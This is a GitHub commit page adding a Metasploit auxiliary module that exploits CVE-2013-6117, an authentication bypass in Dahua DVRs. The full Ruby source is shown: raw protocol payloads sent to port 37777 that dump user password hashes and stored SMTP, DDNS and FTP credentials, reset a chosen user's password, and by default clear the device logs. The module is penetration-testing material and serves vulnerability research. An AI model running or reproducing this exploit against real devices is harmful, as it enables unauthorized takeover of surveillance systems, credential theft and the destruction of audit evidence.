Skip to content

Commit c79eab2

Browse files
committed
Land rapid7#6241, @talos-arch3y's aux module for Dahua DVR CVE-2013-6117
2 parents 56fed01 + c245e64 commit c79eab2

File tree

1 file changed

+394
-0
lines changed

1 file changed

+394
-0
lines changed
Lines changed: 394 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,394 @@
1+
class Metasploit3 < Msf::Auxiliary
2+
include Msf::Exploit::Remote::Tcp
3+
include Msf::Auxiliary::Scanner
4+
include Msf::Auxiliary::Report
5+
6+
def initialize
7+
super(
8+
'Name' => %q(Dahua DVR Auth Bypass Scanner),
9+
'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),
10+
'Author' => [
11+
'Jake Reynolds - Depth Security', # Vulnerability Discoverer
12+
'Tyler Bennett - Talos Infosec', # Metasploit Module
13+
'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module
14+
'Nathan McBride' # regex extraordinaire
15+
],
16+
'References' => [
17+
[ 'CVE', '2013-6117' ],
18+
[ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]
19+
],
20+
'License' => MSF_LICENSE,
21+
'DefaultAction' => 'VERSION',
22+
'Actions' =>
23+
[
24+
[ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],
25+
[ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],
26+
[ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],
27+
[ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],
28+
[ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],
29+
[ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],
30+
[ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],
31+
[ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],
32+
[ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]
33+
]
34+
)
35+
36+
deregister_options('RHOST')
37+
register_options([
38+
OptString.new('USERNAME', [false, 'A username to reset', '888888']),
39+
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
40+
OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),
41+
Opt::RPORT(37777)
42+
])
43+
end
44+
45+
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
46+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
47+
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
48+
# Payload to grab version of the DVR
49+
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
50+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
51+
# Payload to grab Email Settings of the DVR
52+
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
53+
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
54+
# Payload to grab DDNS Settings of the DVR
55+
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
56+
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
57+
# Payload to grab NAS Settings of the DVR
58+
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
59+
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
60+
# Payload to grab the Channels that each camera is assigned to on the DVR
61+
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
62+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
63+
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
64+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
65+
# Payload to grab the Users Groups of the DVR
66+
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
67+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
68+
# Payload to grab the Users and their hashes from the DVR
69+
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
70+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
71+
# Payload to grab the Serial Number of the DVR
72+
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
73+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
74+
# Payload to clear the logs of the DVR
75+
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
76+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
77+
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
78+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
79+
80+
def setup
81+
@password = datastore['PASSWORD']
82+
@password ||= Rex::Text.rand_text_alpha(6)
83+
end
84+
85+
def grab_version
86+
connect
87+
sock.put(VERSION)
88+
data = sock.get_once
89+
return unless data =~ /[\x00]{8,}([[:print:]]+)/
90+
ver = Regexp.last_match[1]
91+
print_good("#{peer} -- version: #{ver}")
92+
end
93+
94+
def grab_serial
95+
connect
96+
sock.put(SN)
97+
data = sock.get_once
98+
return unless data =~ /[\x00]{8,}([[:print:]]+)/
99+
serial = Regexp.last_match[1]
100+
print_good("#{peer} -- serial number: #{serial}")
101+
end
102+
103+
def grab_email
104+
connect
105+
sock.put(EMAIL)
106+
return unless (response = sock.get_once)
107+
data = response.split('&&')
108+
print_good("#{peer} -- Email Settings:")
109+
return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i
110+
if mailhost = Regexp.last_match[1].split(':')
111+
print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank?
112+
print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank?
113+
print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank?
114+
mailserver = "#{mailhost[0]}"
115+
mailport = "#{mailhost[1]}"
116+
muser = "#{data[5]}"
117+
mpass = "#{data[6]}"
118+
end
119+
return if muser.blank? && mpass.blank?
120+
print_good(" SMTP User: #{data[5]}")
121+
print_good(" SMTP Password: #{data[6]}")
122+
return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?
123+
report_email_cred(mailserver, mailport, muser, mpass)
124+
end
125+
126+
def grab_ddns
127+
connect
128+
sock.put(DDNS)
129+
return unless (response = sock.get_once)
130+
data = response.split(/&&[0-1]&&/)
131+
ddns_table = Rex::Ui::Text::Table.new(
132+
'Header' => 'Dahua DDNS Settings',
133+
'Indent' => 1,
134+
'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']
135+
)
136+
data.each_with_index do |val, index|
137+
next if index == 0
138+
val = val.split("&&")
139+
ddns_service = val[0]
140+
ddns_server = val[1]
141+
ddns_port = val[2]
142+
ddns_domain = val[3]
143+
ddns_user = val[4]
144+
ddns_pass = val[5]
145+
ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]
146+
unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?
147+
if datastore['VERBOSE']
148+
ddns_table.print
149+
end
150+
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
151+
end
152+
end
153+
end
154+
155+
def grab_nas
156+
connect
157+
sock.put(NAS)
158+
return unless (data = sock.get_once)
159+
print_good("#{peer} -- NAS Settings:")
160+
server = ''
161+
port = ''
162+
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
163+
server = Regexp.last_match[1].unpack('C*').join('.')
164+
port = Regexp.last_match[2].unpack('S')
165+
end
166+
if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data
167+
ftpuser.strip!
168+
ftppass.strip!
169+
unless ftpuser.blank? || ftppass.blank?
170+
print_good("#{peer} -- NAS Server: #{server}")
171+
print_good("#{peer} -- NAS Port: #{port}")
172+
print_good("#{peer} -- FTP User: #{ftpuser}")
173+
print_good("#{peer} -- FTP Pass: #{ftppass}")
174+
report_creds(
175+
host: server,
176+
port: port,
177+
user: ftpuser,
178+
pass: ftppass,
179+
type: "FTP",
180+
active: true)
181+
end
182+
end
183+
end
184+
185+
def grab_channels
186+
connect
187+
sock.put(CHANNELS)
188+
data = sock.get_once.split('&&')
189+
channels_table = Rex::Ui::Text::Table.new(
190+
'Header' => 'Dahua Camera Channels',
191+
'Indent' => 1,
192+
'Columns' => ['ID', 'Peer', 'Channels']
193+
)
194+
return unless data.length > 1
195+
data.each_with_index do |val, index|
196+
number = index.to_s
197+
channels = val[/([[:print:]]+)/]
198+
channels_table << [ number, peer, channels ]
199+
end
200+
channels_table.print
201+
end
202+
203+
def grab_users
204+
connect
205+
sock.put(USERS)
206+
return unless (response = sock.get_once)
207+
data = response.split('&&')
208+
usercount = 0
209+
users_table = Rex::Ui::Text::Table.new(
210+
'Header' => 'Dahua Users Hashes and Rights',
211+
'Indent' => 1,
212+
'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']
213+
)
214+
data.each do |val|
215+
usercount += 1
216+
user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures
217+
users_table << [ peer, user, md5hash, groups, rights, name]
218+
# Write the dahua hash to the database
219+
hash = "#{rhost} #{user}:$dahua$#{md5hash}"
220+
report_hash(rhost, rport, user, hash)
221+
# Write the vulnerability to the database
222+
report_vuln(
223+
host: rhost,
224+
port: rport,
225+
proto: 'tcp',
226+
sname: 'dvr',
227+
name: 'Dahua Authentication Password Hash Exposure',
228+
info: "Obtained password hash for user #{user}: #{md5hash}",
229+
refs: references
230+
)
231+
end
232+
users_table.print
233+
end
234+
235+
def grab_groups
236+
connect
237+
sock.put(GROUPS)
238+
return unless (response = sock.get_once)
239+
data = response.split('&&')
240+
groups_table = Rex::Ui::Text::Table.new(
241+
'Header' => 'Dahua groups',
242+
'Indent' => 1,
243+
'Columns' => ['ID', 'Peer', 'Group']
244+
)
245+
data.each do |val|
246+
number = "#{val[/(([\d]+))/]}"
247+
groups = "#{val[/(([a-z]+))/]}"
248+
groups_table << [ number, peer, groups ]
249+
end
250+
groups_table.print
251+
end
252+
253+
def reset_user
254+
connect
255+
userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password
256+
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \
257+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
258+
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
259+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
260+
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \
261+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring
262+
sock.put(u1)
263+
sock.put(u2)
264+
sock.put(u3)
265+
sock.get_once
266+
sock.put(u1)
267+
return unless sock.get_once
268+
print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")
269+
end
270+
271+
def clear_logs
272+
connect
273+
sock.put(CLEAR_LOGS1)
274+
sock.put(CLEAR_LOGS2)
275+
print_good("#{peer} -- logs cleared")
276+
end
277+
278+
def peer
279+
"#{rhost}:#{rport}"
280+
end
281+
282+
def run_host(_ip)
283+
begin
284+
connect
285+
sock.put(U1)
286+
data = sock.recv(8)
287+
disconnect
288+
return unless data == DVR_RESP
289+
print_good("#{peer} -- Dahua-based DVR found")
290+
report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")
291+
292+
case action.name.upcase
293+
when 'CHANNEL'
294+
grab_channels
295+
when 'DDNS'
296+
grab_ddns
297+
when 'EMAIL'
298+
grab_email
299+
when 'GROUP'
300+
grab_groups
301+
when 'NAS'
302+
grab_nas
303+
when 'RESET'
304+
reset_user
305+
when 'SERIAL'
306+
grab_serial
307+
when 'USER'
308+
grab_users
309+
when 'VERSION'
310+
grab_version
311+
end
312+
313+
clear_logs if datastore['CLEAR_LOGS']
314+
ensure
315+
disconnect
316+
end
317+
end
318+
319+
def report_hash(rhost, rport, user, hash)
320+
service_data = {
321+
address: rhost,
322+
port: rport,
323+
service_name: 'dahua_dvr',
324+
protocol: 'tcp',
325+
workspace_id: myworkspace_id
326+
}
327+
328+
credential_data = {
329+
module_fullname: fullname,
330+
origin_type: :service,
331+
private_data: hash,
332+
private_type: :nonreplayable_hash,
333+
jtr_format: 'dahua_hash',
334+
username: user
335+
}.merge(service_data)
336+
337+
login_data = {
338+
core: create_credential(credential_data),
339+
status: Metasploit::Model::Login::Status::UNTRIED
340+
}.merge(service_data)
341+
342+
create_credential_login(login_data)
343+
end
344+
345+
def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
346+
service_data = {
347+
address: ddns_server,
348+
port: ddns_port,
349+
service_name: 'ddns settings',
350+
protocol: 'tcp',
351+
workspace_id: myworkspace_id
352+
}
353+
354+
credential_data = {
355+
module_fullname: fullname,
356+
origin_type: :service,
357+
private_data: ddns_pass,
358+
private_type: :password,
359+
username: ddns_user
360+
}.merge(service_data)
361+
362+
login_data = {
363+
core: create_credential(credential_data),
364+
status: Metasploit::Model::Login::Status::UNTRIED
365+
}.merge(service_data)
366+
367+
create_credential_login(login_data)
368+
end
369+
370+
def report_email_cred(mailserver, mailport, muser, mpass)
371+
service_data = {
372+
address: mailserver,
373+
port: mailport,
374+
service_name: 'email settings',
375+
protocol: 'tcp',
376+
workspace_id: myworkspace_id
377+
}
378+
379+
credential_data = {
380+
module_fullname: fullname,
381+
origin_type: :service,
382+
private_data: mpass,
383+
private_type: :password,
384+
username: muser
385+
}.merge(service_data)
386+
387+
login_data = {
388+
core: create_credential(credential_data),
389+
status: Metasploit::Model::Login::Status::UNTRIED
390+
}.merge(service_data)
391+
392+
create_credential_login(login_data)
393+
end
394+
end

0 commit comments

Comments
 (0)